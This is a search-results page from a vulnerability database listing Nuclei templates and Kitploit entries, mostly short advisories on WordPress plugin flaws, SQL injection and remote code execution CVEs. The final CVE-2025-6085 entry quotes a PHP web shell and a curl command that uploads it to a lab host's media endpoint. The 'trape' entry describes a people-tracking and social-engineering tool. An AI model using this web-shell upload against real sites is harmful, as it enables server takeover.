Lucene search
+L

11312 matches found

Nuclei
Nuclei
added 2026/09/13 2:04 a.m.52 views

Easy Appointments <= 3.12.21 - Information Disclosure

Easy Appointments WordPress plugin = 3.12.21 contains a sensitive information exposure caused by an unauthenticated REST API endpoint /wp-json/wp/v2/eablocks/eaappointments/ registered with permissioncallback allowing unrestricted access, letting unauthenticated attackers extract sensitive custom...

7.5CVSS7.5AI score0.0239EPSS
SaveExploits1References2
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.37 views

CyberPower - Missing Authentication

An issue regarding missing authentication for certain utilities exists in CyberPower PowerPanel Enterprise prior to v2.8.3. id: CVE-2024-32735 info: name: CyberPower - Missing Authentication author: DhiyaneshDK severity: critical description: | An issue regarding missing authentication for certai...

9.8CVSS8AI score0.06765EPSS
SaveExploits0References3
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.12 views

WPAdverts <= 2.3.2 - Information Disclosure

WPAdverts – Classifieds Plugin for WordPress = 2.3.2 contains an authorization bypass caused by improper user authorization verification in classifieds-types REST endpoint, letting unauthenticated attackers retrieve internal site configuration data, exploit requires no authentication. id:...

7.5CVSS5.5AI score0.00967EPSS
SaveExploits0References3
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.33 views

Arelle < 2.39.10 - Remote Code Execution

Arelle before 2.39.10 contains an unauthenticated remote code execution vulnerability in the webserver's /rest/configure endpoint. The plugins query parameter is forwarded to the plugin manager without authentication, allowing an attacker to supply a URL to a remote Python file that Arelle...

9.8CVSS6.2AI score0.02747EPSS
SaveExploits0
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.18 views

Payara Server - Cross-Site Scripting

Payara Server versions 4.1.2.191.54, 5.83.0, 6.34.0, and 7.2026.1 contain a stored XSS vulnerability caused by improper input sanitization in the REST Management Interface. This allows attackers to mislead administrators into changing the admin password via a URL payload; however, the exploit...

9.3CVSS5.8AI score0.01002EPSS
SaveExploits1References3
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.39 views

WordPress AI Engine Plugin - Token Exposure

Unauthenticated sensitive information exposure in AI Engine WordPress plugin = 3.1.3 exposes bearer tokens via REST API endpoints when No-Auth URL is enabled. id: CVE-2025-11749 info: name: WordPress AI Engine Plugin - Token Exposure author: 4m3rr0r severity: critical description: | Unauthenticat...

9.8CVSS7.4AI score0.74759EPSS
SaveExploits5References2
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.47 views

WordPress Collapsing Categories <= 3.0.8 - SQL Injection

Collapsing Categories plugin for WordPress = 3.0.8 contains a sqlinjection caused by insufficient escaping of 'taxonomy' parameter in /wp-json/collapsing-categories/v1/get REST API, letting unauthenticated attackers execute arbitrary SQL queries, exploit requires sending crafted 'taxonomy'...

7.5CVSS8.3AI score0.02572EPSS
SaveExploits1References2
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.61 views

WordPress Events Calendar 6.8.2.1 - Information Disclosure

The Events Calendar WordPress plugin 6.8.2.1 contains missing access checks in the REST API, letting unauthenticated users access information about password protected events, exploit requires no authentication. id: CVE-2024-5333 info: name: WordPress Events Calendar 6.8.2.1 - Information Disclosu...

5.3CVSS8AI score0.01092EPSS
SaveExploits1References2
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.93 views

LearnPress < 4.2.7.1 - SQL Injection

The LearnPress - WordPress LMS Plugin plugin for WordPress is vulnerable to SQL Injection via the 'conlyfields' parameter of the /wp-json/learnpress/v1/courses REST API endpoint in all versions up to, and including, 4.2.7 due to insufficient escaping on the user supplied parameter and lack of...

10CVSS7.8AI score0.62882EPSS
SaveExploits6References2
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.69 views

WordPress Core - Post Author Email Disclosure

WordPress Core is vulnerable to Sensitive Information Exposure in versions between 4.7.0 and 6.3.1 via the User REST endpoint. While the search results do not display user email addresses unless the requesting user has the 'listusers' capability, the search is applied to the useremail column. id:...

5.3CVSS6.3AI score0.03862EPSS
SaveExploits4References3
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.72 views

Apache Flink 1.5.1 - Local File Inclusion

Apache Flink 1.5.1 is vulnerable to local file inclusion because of a REST handler that allows file uploads to an arbitrary location on the local file system through a maliciously modified HTTP HEADER. id: CVE-2020-17518 info: name: Apache Flink 1.5.1 - Local File Inclusion author: pdteam severit...

7.5CVSS7.4AI score0.50038EPSS
SaveExploits1References5
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.89 views

SugarCRM - Unauthenticated Remote Code Execution via PHP Object Injection

A PHP object injection vulnerability exists in SugarCRM versions prior to 6.5.24, 6.7.13, 7.5.2.5, 7.6.2.2, and 7.7.1.0 due to improper validation of PHP serialized input in the SugarRestSerialize.php script. The vulnerable code fails to sanitize the restdata parameter before passing it to the...

9.3CVSS6.4AI score0.04865EPSS
SaveExploits1References5
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.19 views

WordPress Bookit < 2.5.1 - Unauthenticated Stripe Settings Update

Bookit WordPress plugin 2.5.1 contains a broken access control vulnerability caused by a publicly accessible REST endpoint allowing unauthenticated update of Stripe payment options, letting remote attackers modify payment settings without authentication. id: CVE-2025-12841 info: name: WordPress...

5.3CVSS5.8AI score0.00704EPSS
SaveExploits0References3
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.24 views

LeadConnector < 3.0.22 - Unauthenticated Arbitrary Data Write

LeadConnector WordPress plugin 3.0.22 contains a broken access control caused by missing authorization in a REST route, letting unauthenticated attackers overwrite existing data remotely, exploit requires no authentication. id: CVE-2026-1890 info: name: LeadConnector 3.0.22 - Unauthenticated...

5.3CVSS5.8AI score0.00682EPSS
SaveExploits0References2
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.45 views

WP Cerber < 8.9.3 - Broken Access Control

WP Cerber 8.9.3 contains a bypass of /wp-json access control caused by improper handling of trailing '?' character, letting unauthorized users access protected REST API endpoints, exploit requires sending a request with a trailing '?'. id: CVE-2021-37598 info: name: WP Cerber 8.9.3 - Broken Acces...

5.3CVSS5.9AI score0.0235EPSS
SaveExploits1References2
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.80 views

OptinMonster Plugin < 2.6.5 - Unprotected REST-API

The OptinMonster WordPress plugin is vulnerable to sensitive information disclosure and unauthorized setting updates due to insufficient authorization validation via the loggedinorhasapikey function in the /OMAPI/RestApi.php file that can used to exploit inject malicious web scripts on sites with...

8.2CVSS7.3AI score0.21929EPSS
SaveExploits1References3
Kitploit
Kitploit
added 2026/09/13 1:36 a.m.7 views

wpUsersScan

wpUsersScan Acerca de wpUsersScan Enumera la lista de usuarios de sitios WordPress a través de la API REST / CVE-2017-5487, WordPress 4.7.1 - Enumeración de nombres de usuario Uso root@kitploit: $ python wpUsersScan.py URL Cómo instalar Clonar Clona el repositorio con: root@kitploit: $ git clone...

5.3CVSS7AI score0.87299EPSS
SaveExploits8
Kitploit
Kitploit
added 2026/09/13 1:21 a.m.61 views

trape

trape stable v2.0 People tracker on the Internet: Learn to track the world, to avoid being traced. Trape is an OSINT analysis and research tool, which allows people to track and execute intelligent social engineering attacks in real time. It was created with the aim of teaching the world how larg...

6.2AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/13 1:12 a.m.4 views

CVE-2022-1388

Vulnerabilidad de iControl REST en BIG-IP CVE-2022-1388 PoC Esta vulnerabilidad puede permitir que un atacante no autenticado con acceso de red al sistema BIG-IP a través del puerto de administración y/o las direcciones IP self ejecute comandos arbitrarios del sistema, cree o elimine archivos, o...

9.8CVSS8.5AI score0.99958EPSS
SaveExploits63
Kitploit
Kitploit
added 2026/09/13 1:12 a.m.8 views

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ Leveraging the shell once...

7.2CVSS5.9AI score0.01242EPSS
SaveExploits1
Rows per page
Query Builder